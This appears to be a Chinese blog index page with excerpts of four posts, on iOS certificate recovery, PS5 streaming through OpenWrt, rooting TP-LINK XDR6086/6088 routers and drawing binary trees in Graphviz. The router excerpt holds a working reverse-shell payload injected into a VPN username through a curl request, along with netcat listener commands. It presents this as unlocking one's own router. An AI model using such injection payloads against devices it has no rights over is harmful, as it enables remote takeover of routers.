从已签名 App 恢复被删除的 iOS 开发证书

从已签名 App 恢复被删除的 iOS 开发证书

适用场景:本机钥匙串中的 Apple Development 证书被误删(security delete-certificate),
私钥仍然存在,且本机/项目里留有用该证书签名过的产物.app / .ipa)。
本文从这些签名产物中把证书提取回来,与保留的私钥配对,完整恢复签名身份。

原理:为什么能恢复

iOS 代码签名身份(codesign identity)= 证书(public key 载体)+ 私钥,两者缺一不可:

签名身份 = 证书(.cer,含公钥)+ 私钥(本机钥匙串)
  • 已签名的 App 中嵌入了签名时的证书链(叶子证书 + 中间证书 + 根证书),
    codesign --extract-certificates 可将其提取为 DER 格式的证书文件;
  • security delete-certificate 只删除证书,默认不删除私钥(除非加 -t 选项)。
    私钥删除后会保留为"孤儿私钥",只是命令行工具(find-key / dump-keychain
    受 ACL 保护往往枚举不到,但 Keychain Access 图形界面可见;
  • 因此:补回证书文件 → 导入钥匙串 → 自动与保留的私钥配对 → 签名身份完整复原
为什么不用开发者中心下载:免费个人团队(Personal Team)账号在
developer.apple.com 没有 "Certificates, IDs & Profiles" 页面(该页面仅付费
开发者计划可访问);Xcode 也不会"打开就自动下载"服务器证书(只在签名构建时按需
创建)。从签名产物提取是免费账号唯一能"原样复原"的途径。

- 阅读剩余部分 -

PS4/PS5 无采集卡直播推流到 B 站抖音等自定义平台

前提(全部以 PS5 为例,PS4 是一样的)

本教程需要:

  • OpenWrt 固件的路由器(没有其实也能实现,但需要自己劫持相关域名,这些不是本教程的内容)
  • PS5 绑定了 twitch 账号,并且可以推流 twitch (只需要能开播就行,不需要稳定推流)
  • 一点基本的 OpenWrt 相关操作常识(比如 ssh 登录,上传文件)

本教程大致分以下步骤:

  • 安装 rtmp-forwarder 到路由器
  • rtmp-forwarder 的简单配置和使用
  • 在 OpenWrt 上配置 1935 端口转发

下载安装 rtmp-forwarder

项目主页:nanpuyue/rtmp-forwarder

预编译下载:Releases · nanpuyue/rtmp-forwarder​

1.png

- 阅读剩余部分 -

TP-LINK XDR6086/XDR6088 反弹 SHELL 并开启 SSH

shell 注入方法来源:https://forum.openwrt.org/t/adding-support-for-tp-link-xdr-6086/140637/17

准备工作

1.先登录路由器 Web 界面,在 VPN 设置里添加一个 L2TP-服务端,再随便添加一个用户(如果不想手填用户信息,也可以使用后面提供的 curl 命令来创建用户)。
2.使用 nc 监听本地端口,比如 2000, Windows 可以安装 nmap,然后使用 nmap 带的 ncat 命令(在 nmap 安装目录)

nc -lp 2000

或(Windows 系统最好临时关闭一下防火墙)

ncat -lp 2000

获取 stok

按 F12 打开浏览器调试控制台,找到形如 http://192.168.1.1/stok=xxxx/ds 的 URL,chrome 浏览器的话,在“网络”标签页找到“名称”是 “ds” 的请求,单击它,然后在右侧窗口单击“标头”就可以看到了。

反弹 shell

反弹 shell 是通过在 VPN 用户名里注入 shell 命令,并且在禁用用户的时候执行,所以需要先启用用户(新建用户默认是启用的)。

创建用户(如果没用在界面创建的话)

注意把 json 里的 192.168.1.254 替换成你自己的 IP(即执行 nc/ncat -lp 2000 的机器的 IP,如果不想改 json 中的 IP,也可以改机器的 IP )。

curl http://192.168.1.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

执行成功的话,返回如下:

{"error_code":0}

- 阅读剩余部分 -

用 Graphviz 绘制一棵漂亮的二叉树

起因

之前用 Rust 写了一个 AVL 树的实现,就很自然的想把树用可视化的图像画出来,在一波搜索过后,最后都指向了一位叫 Emden GansnerGraphviz 主要贡献者之一) 的大佬在 2010 年写的一段脚本,原作者是在邮件列表(链接1链接2)中回复别人的问题时提供的这段脚本,由于这个邮件列表原来的存档网站已经无法访问,现在能搜到的基本上都是别人对这段脚本引用,比如: stackoverflow

不过这个 gvpr 我实在是看不懂,所以我希望能够直接使用 dot 来绘制二叉树,这样在生成图像的时候就只需要使用 dot 命令行工具而不需要额外的脚本了。

尝试

但是事情看起来并没有那么简单,假如我们现在有一个文件 tree.dot

digraph G {
    node [shape=circle]
    edge [arrowhead=vee]
    8 -> 4
    4 -> 2
    2 -> 1
    2 -> 3
    4 -> 6
    6 -> 5
    6 -> 7
    8 -> 10
    10 -> 9
    10 -> 12
    12 -> 11
}

- 阅读剩余部分 -